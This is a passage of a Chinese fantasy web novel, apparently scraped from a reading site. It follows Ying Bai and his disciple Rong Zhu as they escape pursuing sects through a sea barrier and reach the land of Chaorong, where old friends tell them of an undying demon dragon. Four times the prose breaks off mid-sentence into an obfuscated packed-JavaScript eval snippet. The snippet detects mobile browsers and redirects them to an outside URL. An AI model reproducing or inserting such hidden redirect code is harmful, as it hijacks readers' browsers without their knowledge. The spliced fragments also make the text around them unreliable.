非是应白有把握战胜徐旻,恰恰相反,他与徐旻之间还未开战就已定胜负,他已经暴露,动刀动枪是交战,乱人心思也是交战。 捉拿应白本就是圣灵宫下的命令,徐旻自然义不容辞当这大功臣,可应白不知如何知道了自己的秘密,这便不能轻易送回圣灵宫了…… 他压下心头怒火,哼笑一声:“应白,我只当你在死前狂躁一番,你如此桀骜不驯,就别怪我绝你生路!” 话音一落,徐旻身子一跃,两脚如蜻蜓点水般在海面上快速飞来。应白低声在容珠耳边道:“沿着这个方向继续前行,我一会找你,相信我。” 未等容珠急声出言,应白已离开船面落在近处一块礁石上。徐旻见状一脚蹬向容珠所在的船借力调转方向。 船只被这充满灵力的一蹬登时游出一段距离,容珠焦急万分,只见湿雾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16755343|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迷茫处,应白拔剑抵住徐旻剑刃,被对方强悍的灵力逼得后飞,狂风骇浪间听得徐旻得意道:“应白,你没有灵力,武功再好又如何与我抗衡!” 船只在海浪起伏间越飘越远,两人的身影渐渐模糊不清,容珠很想过去帮忙,可她现在还没有能力御剑飞行。 怎么办?师父刚刚说要相信他,她该放心吗? “容珠?” 百转交集间忽听一声疑惑之音从另一方向传来,容珠蓦然回头,白雾飘渺,一艘体积略大的船只渐渐靠近,船头站着一蓝衣女子,手握银剑,额间一抹中灵之蓝。 “容檀?”容珠难掩震惊,她突然意识到会不会这片海域上已经聚集了各大门派,他们或许改变了主意今日就赶往南海之山等待灵芝盛开? 如果是这样的话,那师父面临的不是徐旻一人,而是…… 采摘灵芝向来是各派争相恐后的一件事,但今年容檀本不想来,只一心想监督弟子们修炼,无奈容江让她出去散散心,不必取得灵芝,就当是出去玩。 因此容江留在清凌门督促弟子练习,容檀带着连逸和几个清凌门弟子“出来玩”。 没想到出来玩也能碰见意外之人。容檀惊讶过后冷笑道:“你在这里干什么?难道也想采摘灵芝?” 船上的连逸闻声赶过来,见到容珠第一句话便是:“应白呢?” 容珠手指着两人打架的方向道:“徐旻圣灵发现了他,要把他抓回圣灵宫!” 她欲言又止,想祈求连逸帮忙,可徐旻是圣灵,连逸是清凌门的弟子,不能让清凌门触怒圣灵宫而被降罪。 “大师兄。”容珠焦急道,“你可知目前海上有多少门派?” 连逸锁眉道:“本来是要明天启程的,但有些门派已经偷偷启程,消息泄露了出去,谁都不想让别人抢占先机,于是都出发了。” 容珠浑身冰冷,脚步踉跄了一下险些掉入海里,她扒住船边,忽听狂风呼啸间传来一极响之声:“所有门派听令,抓住应白者有赏!” 徐旻圣灵这一声呼喊,让原本呼啸的海面顿时又升起一片嘈杂之声,只听得一声声长剑出鞘之响划破天际,群情激愤的模糊之声起起伏伏在海面上滚来。 “师父——!”容珠惊望着前方,模糊视线的白雾似乎在遮盖着血雨腥风的杀场。 声嘶力竭的喊声让连逸终忍耐不住,他没忘自己是清凌门的弟子,更不愿应白再受不测,不若干完此事他便自请离开清凌门,就当是清凌门的叛徒又何妨,“掌门——” “还记得尊主让我们出来干什么的吗?”容檀打断了他的话,清冷眸子回望着他。 “我们是出来游玩的,没有任务,采摘灵芝和抓捕应白都不是我们要操心的事,你不必再劝我加入捉拿应白的队伍中,我没兴趣。” 说完,容檀便回身进船舱,徒留连逸一脸愕然地望着她。 船上还有其他的清凌门弟子,容檀不想让他们知道连逸心有叛逆,想救应白,因此故意这么说,也打消了其他弟子的蠢蠢欲动之心。 一丝阳光从云层中穿透下来,白雾隐有退散之势,刀剑之声还在刺入耳膜,容珠气急攻心,抓起长剑在半空中怒划一圈。 好像这样做能帮应白一臂之力,好像这样做就能扭转局势。 都没有,反而是…… 阳光驱散浓雾,一面波光潋滟的屏障竟不知何时出现在了身旁,它就像是海水堆砌形成的一面墙,透明的,流动的墙。 “海屏障,是海屏障……”容珠泪痕满面,像抓住了希望的稻草,冲前方渐渐清晰的众多船只喊道:“师父!我找到它了!师父!你在哪!” 38. 海屏障 容珠一声声的呼喊引来清凌门弟子围观,他们面面相觑,仿佛在看一个疯子。 “找到什么了?”容檀从弟子后面现身,所有人的目光都聚焦在容珠身上。 海屏障很大,恍若从天而降的一席巨大水帘,横穿了整片南海,一眼望不到尽头,清透凉爽之感顺着指尖蔓延,容檀及众弟子四处张望,什么也没看到。 应白危在旦夕,容珠决定滑动船桨,冲到远处的厮杀中。 “师妹!前面太过危险,我去救应白!”连逸跃身来到容珠船上,说着便要御剑前行,容檀大喝一声:“连逸,你要造反吗!” 连逸充耳不闻,他已经做好决定,谁也不能阻止他了,事后再请罪吧。 可在这时,一只手掌猛然从水下拍在船边,船身一阵剧烈摇晃,连逸和容珠登时要举剑应对,却见水花翻涌间猛然露出应白一张苍白的脸。 连逸还未反应过来便察觉眼角闪过一道残影,容珠已经抓住应白的手腕要把他拖上船。 一清凌门弟子见状,立刻朝那边聚集的船只大喊:“应白在这!应白在这!” “放肆!”容檀怒目而视,“我没说话岂容你多嘴!全都要造反吗!” 那弟子吓得连连后退,抓住应白可是功臣,本抱着邀功的心思却适得其反。 容檀一双寒眸此刻冷气逼人,冲连逸大喊:“你还不滚上来,想让清凌门成为通缉犯吗!” 两人将应白拖了上来,他身上多处负伤,血水顺着一身海水缓缓流淌,血肉被海水蜇得生疼,应白趴在船上说不出话来,似是耗尽了全身力气。 容珠忙对连逸说:“大师兄快走,你不能被我们牵连,清凌门的荣辱不能受今日影响!” 连逸焦急道:“你们已是穷途末路,如何死里逃生?” 那头乌压压的喊打声已经逼近,徐旻已御剑自空中降临,情急之间,容珠对连逸拔剑相向,“得罪了,大师兄。” 一道细鞭凌空飞来捆住连逸,在众多人的震惊之中,容檀气急败坏地将连逸拉了回来,容珠剑指对面大船,扬声道:“清凌门谁也不能伤害我师父!” “休得狂言,还不受死!”徐旻洪亮的声音逼近头顶,容珠长剑入海一划,波浪滚滚,带动着船只向后游行。 几乎是刹那间,各大门派掌门纷纷从船上跃起,一把把明晃晃的寒剑齐齐指向船上二人。 就好像忘记了身后是海屏障,就好像眼前正是生死决战。 容珠双眸凌厉,咬紧牙关,雪白的剑身凝聚灵力,朝空中众人奋力一挥,只觉五脏肺腑恍若撕裂般疼痛,眼前一阵眩晕,听得对面一两声落海之音,忽觉一阵清凉凝冻之感在后背弥漫。 徐旻的剑尖直指眼前,可他杀气腾腾的眼却骤然显出惊愕。 待这清凉之感划过脸颊,布遍全身时,眼前所有的景象全都消失不见,偌大的南海,唯有这一艘小船而已。 海浪发怒般朝接近界线的其他人扑去,徐旻凌空一转落在船上,其余多人被海浪吞噬,人群大喊道:“发洪水啦,快撤船!” 一时之间,众人皆从应白和那女子凭空消失的离奇画面中清醒,纷纷操纵船只撤离,谁都不敢回头再望一眼。 容檀命弟子划船离开,绑着连逸的细鞭还未收回,两人惊愕地望向海浪席卷之地,那里再无一点小船踪影。 事后众人乐道应白才不是凭空消失,不过是被海水吞噬翻船,没有灵力傍身,只怕就此殒命了。 * 夜幕降临。海面风平浪静,一轮高月悬挂夜空,皎洁的月影映在海面,好似沉下的一块玉石。 “容珠,容珠。” 好像脸颊处贴了块冰,容珠被这冷意激醒,睁眼见一双泛着水汽的棕色眸子正近近地望着自己。 “师父,你的手好冷。”容珠定定地看着他,下意识想抬起手去触摸。 应白未曾发觉容珠动作,只以为是容珠在提醒自己行为冒失,蓦地收回手,低垂眼睫,“对不起。” 这声对不起也包含了容珠再一次因为他而受到外界的伤害。 容珠起身查看四周,昏迷前的印象若隐若现,她不确定道:“我们是不是穿过海屏障了?” “嗯,那会儿我听见你的呼声了,便跳入海中去找你。你利用剑气让船快速接近海屏障,当时徐旻的剑近在咫尺,千钧一发之际我们还是先一步穿过了。”应白微笑地看着她,“现在没事了。” 劫后余生的感觉的确令人欣喜,容珠顾不上体内疼痛,明亮的双眼环顾四周,“这里就是天外天?” 她的声音充满惊喜,应白道:“对。我们来到了天外天。” “这里的人都充满仁爱吗?” 应白目光柔和地笑看着她:“每一个人都是。” “可……”容珠有些奇怪,“徐旻圣灵或者其他门派的人看不见海屏障吗?” 应白遥望身后那面已经看不清的海屏障道:“这也是我一直不解的问题,他们似乎看不见,即便看见也过不来。” 容珠静静地享受海风带来的舒适安逸,“或许,我们来到这里后会有新的发现。” 其实此时此刻,眼睛所看到的每一处都是新的发现。 “有个好消息你要不要听。”应白一边划桨,一边目视着这片宁静之海。 “是什么?” 容珠这才发现应白的衣服还是湿的,胳膊上破了好几个口子,只是粗略地包扎过,夜风习习,他冷不冷? “在穿过海屏障之前,你舞的那一剑可称得上强悍,有几个低灵门派的掌门都被你轰下海了。你表妹容檀可是亲眼目睹,震惊无比,你再不是他们口中的废物了。” 废物这个称呼的确是容珠心中的一块伤疤,那种自卑、胆怯、羞愧、不甘等等情绪积年累月地包围着她,摆脱废物的称号是幻想,是一辈子也抹不去的羞辱。 她总觉得被逐出清凌门是上辈子的事,不过细细想来,才过去一年而已。 应白关切地看着她:“越级使用灵力会损害身体,你现在感觉如何?” “我没事。”容珠“咯咯”笑了两声道:“承蒙师父教导我才有这般成就。从前只有爹娘心疼我,现在有师父维护我,我才不在乎其他人怎么想,那些不爱我的人我又何必在乎他们对我的评价呢?” 应白笑而不语,容珠上前从包袱里翻出一件深色斗篷,“师父,刚刚你的手那么冷怎么不穿件衣服?” 斗篷触身的一刹那,应白划桨的手僵立了片刻,一时之间不知该说什么。容珠并未察觉出什么,问起应白和徐旻当时的战况。 应白道:“我对徐旻颇为了解,使炸便能从他手底下逃脱,但我没想到各大门派都来了,他们联手我只能躲避,受了点小伤,又找了机会跳入海里,便游了过来。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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它体型颇大,耳朵贴在眼睛两旁,金色的毛犹如光滑的绸缎在阳光下闪闪发光。它吐着舌头,摇晃着尾巴歪头看着二人。 “狗?”容珠目露惊奇,紧接着便瞧它冲自己跑来,抬起两只前爪扒在自己腿上,哼哼唧唧的,不停地摇着尾巴,再扑向自己。 如此反复,容珠招待不及,有些站不稳,应白目露温和,眉间却不敢放松戒备,“它很喜欢你,不过这狗模样极佳,想必它主人定在附近。” 他正观察四周,一清朗之声从远处喊道:“金毛,你跑哪去了?” 金毛狗狗闻声转头吠叫回应。不多时一红衣少年从屋顶现身落于地面,遥遥望见对面二人,不知怎的却忽然驻足不前。 容珠顺势望去,那少年十八九岁的模样,手握长枪,劲装在身,一身火红,唯有腰间一条黑带与他一双凌厉黑眸遥相呼应,周身似一团熊熊烈火,令人惊叹。 “阿琛!可是前方有异?” 一抹紫影手持银剑从一屋后飞来落在红衣少年身旁。 她显然注意到了对面两人,当目光定格在男子脸上时,警惕的眸子几乎在刹那间转变,像是冰经暖阳一照,融化成了水。 红衣少年勾起嘴角:“阿姐,是旧人归来。” 容珠默默看向身旁的应白,他好像也擒了一抹笑意看着对面二人。 分别数年,旧友重逢,应白是喜悦的,他欲上前一步打招呼,那紫衣女子飞一般奔来扑向他,几欲掉泪。 “应白,你回来了。” 39. 朝荣国 如果过去容珠一直认为容檀拥有神女之姿,那眼前这个抱着应白落泪的女子便拥有圣女之光。 她此刻目若秋波,清亮的泪水同她额前坠下的一片银饰般闪烁着动魄心神的光芒,包含着无尽苦痛与思念,连容珠这个毫不知其过往如何的旁观者都觉触动心弦…… 应白的笑凝滞片刻,这张熟悉热切的面容好似将他拉回了七年前的种种情境里,鲜活的画面一幅幅在记忆里涌现,就连当时的心情也如此清晰地回忆起来。 他伸手扶上她的双肩后退一步,笑看两姐弟:“邱姑娘,阿琛,多年未见,你们还好吗?” 阿琛远远笑道:“不过降魔除妖,安定民间,少了你这剑侠总归少些乐趣。你说不过一二年便回,倒骗了我们这么久,若不给个像样因由我断不轻易原谅你。” 昔日分别光景历历在目,念及原因,应白眸间闪过一丝几不可查的黯淡,只听邱姑娘指责道:“在哪说话都一口自负冲人的语气,也不请人家回宫坐下来聊,对妖魔这样倒没问题,可不许对自己人也这般我行我素。” 少年咧嘴一笑,身上凌厉之气瞬间淡去几分。 应白道:“不是我故意违约,而是当年我回去以后的确发生许多事,亏有容珠多次救我于危难,今日才能来朝荣国,本想一来就去拜访你们,没想到在这里就遇见了,真是意外之喜。” 紫衣女子听后略带关切道:“果真有原委。”随即目光澄澈地打量容珠,走过来微笑道:“容珠姑娘,我叫邱梧,那位是我的弟弟上官琛,你是应白在那个世界的朋友吧。” 容珠刚想开口解释就听应白道:“容珠是我的救命恩人,不过她修炼受阻,我便做她师父助她修行。” 这话中包含着很多意思,邱梧心下明白不过仍有诸多疑问,便道:“如今天下不太平,这里的居民都移到紫阳宫附近了,我们也先回去慢慢说吧。” 金毛狗狗又摇着尾巴来到容珠身边,仰头不住地看她。上官琛见状有些气愤又有些尴尬道:“金毛!怎么今日如此调皮,吓到人家可怎么办!” 容珠笑答:“上官公子,我不害怕,你不必担心。” “它平日可害羞了。”上官琛吐槽道,“不知为何对姑娘如此热情,倒让我有些意外。” 金毛狗狗好像能听懂人话,在原地转了几个圈圈又扒向容珠,容珠犹豫了一下,小心翼翼地伸出手去摸它的脑袋。应白问:“何时养的狗,看着颇有灵气。” 邱梧笑道:“五年前阿琛在降伏一个熊精后发现其洞穴里有一条奄奄一息的狗,便将它救回来,因它毛色金黄,就叫它金毛了。 “它很聪明,任何行动它都能看懂,让它做什么也全都会,就连母亲也说它是条难得的灵狗,既然它主动接近容姑娘,说不定容姑娘身具奇能呢。” 邱梧的声音沉稳而又细腻,容珠很少听见如此夸赞,不禁笑道:“邱姑娘高看我了,我从未与狗有过接触,还不知如何应对,既然金毛如此盛情,我还要向你们请教如何跟狗狗相处。” 上官琛在前面扛着银枪,放慢脚步回头道:“你只需将它看作朋友,常与它玩乐,它就很开心啦。” 他不说话时便若一个刚硬冷峻之人,这一开口反而有一股少年之气,倒让容珠觉得平易近人了。 四人并行在这片寂寥大道上,应白环顾周遭问:“我来时便觉这里荒无人烟,与昔年繁盛热闹之景大不一样,又听你方才说如今天下不太平,可是发生了什么事?” 邱梧款步走着,双眉微蹙,神色严峻。 “你也知道,朝荣国一向太平昌乐,千百年来但凡是有十恶不赦之人祸乱民间或妖力强大的魔怪出来骚动,皇宫和大小门派都会联手在几日内除去。 “可三年前出来一个魔龙扰乱世间,各大门派前去降伏却惨败,母亲与我和阿琛前前后后不知与魔龙交手了多少次,到现在也不曾将它剿灭。” 应白奇道:“什么魔龙有如此威力,紫阳宫也无可奈何?” 上官琛冷哼一声,银枪在手中一旋道:“它说自己是开天辟地第一神龙,说朝荣国气运有违天道,于是下来扭转乾坤,谁知他张口就喷火,将一片田地森林烧得片甲不留,一爪子下去,百姓们连家都没了,如此行为岂是神龙,明明就是一条臭泥鳅!” 会喷火吃人的妖魔并不奇怪,应白好奇:“难道朝荣国所有门派合力也不能将它制服吗?” 闻此,邱梧重重地叹了口气,“不必动用所有灵者,曾经我和阿琛还有母亲三人已将魔龙杀死过。但……” 忧郁之色在邱梧眸中映现,“它可以重生,无限重生。” 容珠应白心下惊疑,他们可以想象到世间有法力强悍的妖怪却想象不到竟有死后还能重生的奇术? 如果一个强悍的妖怪杀死以后还能活过来,朝荣国岂非要面临无穷无尽的磨难? 邱梧沉声道:“魔龙死后会有三个月的重生期,三个月后会再次破坏世间。它告诉我们如果没有天之力就无法彻底将它杀死,即便朝荣国所有修炼之人合力将它杀死一百回,它依然可以再活过来。” “天之力?那是什么?”容珠隐约觉得此物非比寻常。 这时,一阵喧闹鼎沸之声远远传入众人耳里。容珠驻足朝前看,见前方有一大石牌坊,牌坊后一条蜿蜒长街不见尽头,两边排列着各色店铺馆子,笼烟飘渺,茶香四溢,但见人头攒动,络绎不绝。 “魔龙洞穴在崖海深处,当得知魔龙杀不死后,住在崖海附近的百姓们惶恐至极,因此半年前,陛下便命人在各门派旁修建屋舍供沿海百姓搬来在此居住,所以那里荒无人烟。” 邱梧走在前方细细说着,“从这开始直到皇城,每一处城池都有一个门派坐镇。所谓天之力,还是阿琛在杀死魔龙七次后才得知的。” 上官琛道:“两个月前我第七次重伤那泥鳅,它在回洞穴前从嘴里吐出了一块石头,落地即化作一块石碑,上头有七道印记。 “当时我受伤了,血滴在那石头上竟点亮了一道印记。起初我们都不知这是何意,陛下让天师卜算吉凶,天师道唯有七道印记皆亮,魔龙可彻底消灭,所以我们猜测这块石头就是那泥鳅口中的天之力。” 皇宫里的天师除了能占卜算卦外,其本身还是一位颇有能力的修炼之人,祖祖辈辈皆是皇宫里的历代天师。 此秘法作为传家之术代代传承,且传内不传外,根本原因在于真正的后代才能领悟其中的奥秘。 若占卜算卦佐以灵力辅助,结果会更加精准精确。在这个世界上,信奉神明是大多数人的信仰。 魔龙不死本就是一件神乎的事,如今又说天之力是一块会发亮的石头,容珠惊诧不已,见应白也是一副半信半疑之色,“如何点亮石头上的印记?” 上官琛望着眼前众多朴素百姓,眉头紧皱,“天师说无法窥探石碑之意,只能让朝荣国上下每一个人,无论男女老少,都用自己的一滴血抹在石头上,看看印记能否发亮。” “朝荣国所有人?”应白目露震惊,“少说也有千万,再过一月魔龙会再次苏醒,恐怕届时尚有一半人还未曾试过。” “确实如此。”邱梧眉眼忧愁,“前段时间各门派修士方全部滴血试过,没有一人能再次点亮这块石碑上的印记。 应白骇然,心道邱梧所在的紫阳宫上下皆是一等一的能人,更不必提邱梧和上官琛的母亲,也就是紫阳宫的宫主,若他们都无力点亮石碑,那天下又能指望谁有灭魔能力? 邱梧调整好情绪,微笑道:“你们刚来此地还有许多待晓之事,紫阳宫据此还远呢,咱们先御剑回去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16759574|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,若母亲知道你们来定然欣喜。” 容珠一听御剑飞行脸色微变,即便她不知应白与邱梧和上官琛的过往,但也可确定那时的应白定然是英姿勃发,灵力鼎盛,只是邱梧和上官琛并不知应白回去后所经历的种种事情。 她瞄了一眼应白晦暗不清的神色,对邱梧笑道:“邱姑娘,我初来此地还想看看一路风光,如果可以的话,我们想坐马车去拜访紫阳宫,你看如何?” 邱梧与容珠对视片刻,又侧眸看了眼神色微异的应白,忽的想起方才在崖海时应白曾说容珠于他有救命之恩。 她心知应白实力奇高,能救应白者必然实力不俗,可应白又说容珠修炼受阻,这才做他师父加以引导,如此矛盾之语,定另有隐情。 上官琛未察觉异常,只道:“容珠姑娘,坐马车很慢——” “阿琛!”邱梧上前一步笑道:“就你成天风风火火的,不如先回去同母亲说一声。方才是我考虑不周,容珠姑娘第一次来朝荣国,我们也该引你们看看一路风光,况且金毛不喜高处,它肯定更愿乘马车,是不是啊金毛?” 金毛“汪汪”叫了两声,摇着尾巴在容珠腿边滚动。上官琛见状长枪一挥,“那好吧,我先行一步,紫阳宫见!” 说着他火红的身段一跃于高处,三两下便消失不见。 邱梧在前方不远处的一个车房里租了一辆马车,老板一看是邱圣女便分文不取,拿了店内最舒适的马车给邱梧,邱梧谢过。 车夫驾马娴熟,为人机灵,马车又快又稳地行驶着,车内轻晃,三人一狗寂静异常。 邱梧几次三番想开口询问但都按压回去,急切的心由于迟迟得不到答案而显得她十分不自在。 容珠一边摸着金毛的头一边将车内情景尽收眼底,三人神色各异,唯有狗狗十分舒适惬意。 “邱姑娘。”应白先开口打破了寂静。邱梧略带紧张地望向他,心里总觉得过去七年在应白身上发生了一些不容乐观的事。 应白淡淡笑着,棕色的眸子温润平和,“我曾对你说过,我所在的世界和朝荣国是完全不一样的,如果朝荣国是天堂,那我所在的世界便是地狱。” 他声音平静缓慢,像在娓娓道来一个遥远深沉的故事。 “我从不知自己为何能发现通往朝荣国的路,当我体验过这儿的风土人情后我就决定,一定要回去改变我所在的世界。” 随着应白一字一句地讲述,容珠就好像随着他的话语也去经历了曾经应白所经历之事。 她瞧见邱梧的双手紧紧攥在一起,浑身紧绷,当听到应白说“灵核被挖”四个字时,她几乎僵立了般呆滞地看着他,瞳孔不由自主地看向应白胸膛下方,那里是每个人灵核的位置。 过去种种,应白大致说完。邱梧久久不能言语,清澈的眼眶中闪着水光,终在里头滚动,咽下。 这便是他违约的原因,这便是故人再见却不似昔年热烈的内情,五年囚禁时光摧残了应白。 她还记得初见那日他一身劲装,束着马尾,长剑在手中挥舞作响,砍断了束缚自己双脚的妖枝,在空中转了几圈扔入火海,一双棕色的眸子温和地看过来,担心道:“这位姑娘,我是真心想帮你的,你不要害怕。” 她有些懊悔自己不该听了几句先生的夸赞便一人出来降妖。 紫阳宫弟子十六岁才可以外出,不过还有一年时光她已等不及便偷跑出来没想到被树妖算计,险些丧命。 她长呼一口气站起来拍拍身上的泥土怪道:“你这人好奇怪,我当然知道你救了我,谢谢你。” 邱梧还记得当时应白的神情,他惊讶至极,像个呆子似的直直盯着自己,盯得自己发慌,躲闪。 随即他垂下眸子淡笑道:“我……还是第一次听人对我说谢谢。谢谢你。” 40. 紫阳宫 马车内充斥着寂静伤感的气息,漫长的路程更像是过了几百年,当车帘外传来车夫说“到了”的声音时,邱梧仿佛从一个噩梦中惊醒。 她先行下马给了车夫银钱,并请车夫去紫阳宫稍作歇息喝口茶,车夫谢过,并未逗留。 容珠的目光一直停留在邱梧身上,因是第一次见不同自己认知的言行举止,心下难免好奇,若不是亲眼一见,她是绝对想象不出来门派中人请车夫喝茶的画面。 “走吧。”邱梧在前领路,缓步步上台阶。 四周是青绿巍峨的高山,隔绝了外界的喧嚣与繁华,隐隐听得水声潺潺。层层石阶之后,映入眼帘的是一个玉石雕就的巨大牌坊,紫阳宫三个字在阳光下熠熠生辉,一条水上木桥是通往宫内的必经之路。 楼宇屋舍高低起伏坐落于山腰间,四五条水布从高处直泻而下汇入河中,与清凌门一比可谓十分壮观瑰丽。 行至廊下时见对面几个白衣弟子正成群笑闹着,走姿仪态皆出尘脱俗,看似玩闹却仍有规矩,见对面来人纷纷站定行礼:“圣女。” 邱梧问:“宫主眼下在做什么?” 一名年纪稍大些的弟子答:“不久前圣主回来,眼下正跟圣主在堂中说话。” 紫阳宫宫主便是邱梧与上官琛的母亲,名叫沈青寒。邱梧为紫阳宫圣女,上官琛为圣主,两人是同母异父的姐弟。 闻言,邱梧将容珠和应白带到紫阳宫正堂旁的厢房内,有弟子前来奉茶,邱梧先去见母亲,金毛紧随其后。 茶水清香,容珠抿了一口见门外风景壮观,鸟声迤逦,心中尽是对来到新世界的激动,又想起方才路上应白言语间对紫阳宫有赞美之意,遂问:“紫阳宫在朝荣国内想必是一大门派吧?” 应白端起茶盏笑道:“朝荣国内,紫阳宫乃门派之首。” 容珠叹道:“怪不得我见邱姑娘的第一眼就感觉她气质非凡,她长得如此好看,想来实力定然不俗。那沈宫主既然是紫阳宫的宫主,灵力定至圣灵境界了?” 应白道:“朝荣国安宁祥和,不像我们那里竞争如此激烈,当年我见识过沈宫主的灵力,大概在高灵左右,这在朝荣国中已是佼佼者。” 竞争会促使人不断修炼,高灵之上便有了圣灵。容珠忽然不确定这算不算一件值得称赞的事。 她歪头看应白:“师父,你和邱姑娘还有上官公子一定相处得很好,不然他们两个也不会隔了这么久再见一眼就认出了你,你当年定对邱姑娘表达了真挚的爱意,所以邱姑娘才会看到你后如此喜极而泣。” “咳咳咳咳……”应白被茶水呛了一下,连忙将杯盏放在桌子上,不住咳嗽。 半晌后,他缓缓道:“爱有很多种,每一种的意思不尽相同,既来了朝荣国,你会慢慢明白的,不过不要轻易在别人面前说‘爱’这个字,若用的不恰当,他们会误会的。” 应白晓得一直以来容珠对于爱的理解就是对陌生人提供帮助、产生同情、怜悯等关切行为,殊不知世上爱有千百种,亲情之爱,友情之爱,夫妻之爱,手足之爱、师徒之爱等等。 容珠生在一个杜绝爱唯有恶的世界,不曾经历诸多爱,所以不会明白爱之多样和意义。 他点到即止,容珠稍加思索,点头“哦”了一声。没多久邱梧便从外面走来笑道:“母亲说贵客来临,当隆重宴请。” 金毛摇着尾巴在门口转圈,容珠朝它一笑,刚至殿前,一道明亮热情的声音从殿内传出:“金毛聪明乖觉,它喜欢之人定福慧双修,姑娘从邻国而来,紫阳宫定当热情款待。” 来者一身素净打扮,笑容亲切和煦,然丝毫不影响她身为一派之主的威严,眼角虽有细纹却消减不了容貌之美丽。 容珠对这般亲切态度有些不适应,脑子里将已知礼数想了个遍,还不知朝荣国这里拜见一派之主是何规矩,只好中规中矩地揖礼微笑道:“容珠拜见宫主。” 沈宫主不着痕迹地将容珠姿容看在眼底,又笑对应白道:“多年不见应公子,是比当年沉稳俊朗多了。” 应白回礼道:“未曾想还能再来紫阳宫,应白不胜欣喜。” 沈宫主满面笑容的脸上浮起一丝伤感,“能来便好,快进来坐。” 紫阳宫殿堂装潢精美,沈宫主居上首,应白和容珠落座左边,邱梧、上官琛和金毛坐在右侧。 席间沈宫主说了朝荣国近年来的一些事情,提及魔龙一事悲恨交加,可怜无数百姓遭魔龙残害,又不能将之彻底击杀,不知是否是朝荣国真触怒了上天。 沈宫主哀叹一声:“可朝荣国千百年来一直励精图治,君王仁爱,门派互助,但凡有一人有一妖企图祸乱天下,行凶作恶,皆立马处决以确保百姓安宁,怎会降临天灾呢。” 邱梧道:“陛下已派天师作法祈福,恳请上天指出朝荣国有违天道之处,但不得果,我们只能每隔三个月待魔龙醒后继续击杀它,还不知朝荣国内哪几位能人异士的血能点亮石碑印记。” 说及此,堂内寂静下来,悲哀之情盖过了菜肴之香,不知怎的,应白见此情景忽然想到一个画面。 他想起当年自己企图用仁爱说教天下时那些人群情激愤的情景,于那个世界而言,他不正是祸乱天下之人吗? 他与魔龙归根结底来说是一个性质,都是要被除之平天下的。 即便他没有喷火放水,伤害百姓,即便他只是在看见别人跌倒后想扶起都是一件怪异出格的行为。 朝荣国所有人要除掉魔龙正如当年那个世界的所有人要除掉他一样。 他被关漩涡之境多年却意外出来,此后多次被发现都能逃之夭夭,这是不是另一种意义上的重生? “对了邱梧。”沈宫主道,“既然应白和容珠姑娘来到朝荣国了,不妨让他们也去试试吧。” 邱梧眸中闪过一丝光亮,笑道:“这我倒没想到,或许可一试。” 看着众人投射过来的目光,应白道:“能为朝荣国尽一份力,我和容珠定会配合。” 沈宫主目露欣喜,又说起魔龙的模样和它本事,未问及应白这些年情境。 宴后,邱梧请应白和容珠在此歇息,等明日再去石碑验证。应白应允后邱梧便着人去收拾了,徒留上官琛在原地欲走不走,欲言又止。 “上官公子,你好像有话要说。”容珠不明就里,直接问了出来。 应白回眸,对上上官琛双眼的瞬间,后者立刻垂下眸子,眉间像拧了个结,半天也解不开。这模样倒让应白想起曾经的上官琛犯错被沈宫主训过后的模样。 那时他也在场,等沈宫主走后他去安慰上官琛,十一岁的上官琛还带有孩童的稚气,一经安慰很快褪去了脸上阴霾,笑着说:“应哥哥,我是男子汉!既做错了事就是要去承担去改正的!” 说实话,应白今晨初见上官琛时未能立即将他认出,还是见邱梧出来后才得知这个眉间凶猛,一身正气的少年是上官琛。 曾经老是跟在他屁股后面喊哥哥的小少年如今也能肩负起拯救百姓的重任。 应白朝前走了一步,温声道:“阿琛,你想说什么?” 上官琛眉毛拧了又拧,嘴唇动了又动,终抬头坚定地望向应白道:“不管如何,你还是我哥,我们还是朋友。” 他在为御剑飞行一事自己说的话而后悔,当得知应白过去所发生之事后,他悲愤不已,却又无可奈何。 应白明白他的意思,笑道:“好。” 待上官琛走后,容珠琢磨了一下方才情境,小声对应白道:“师父,这也是一种爱对吗?” 应白淡淡一笑:“是友情之爱。” * 紫阳宫安排的房间很是宽敞舒适,一应用品全都整齐地摆在桌上,容珠惊叹之余满是欣喜。有女弟子上前介绍陈设及院内布局,容珠一一听完对她表示感谢。 这是容珠第一次说谢谢,说完后她自己愣了半天。 她和应白的住所中间连着一条小径,两旁是陈旧的葡萄藤架,一棵参天大树身姿挺拔地扎地而起,纷繁复杂的枝叶树干穿插在藤架上,若是在炎炎夏日,这里便是一处纳凉的好地方。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16765542|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 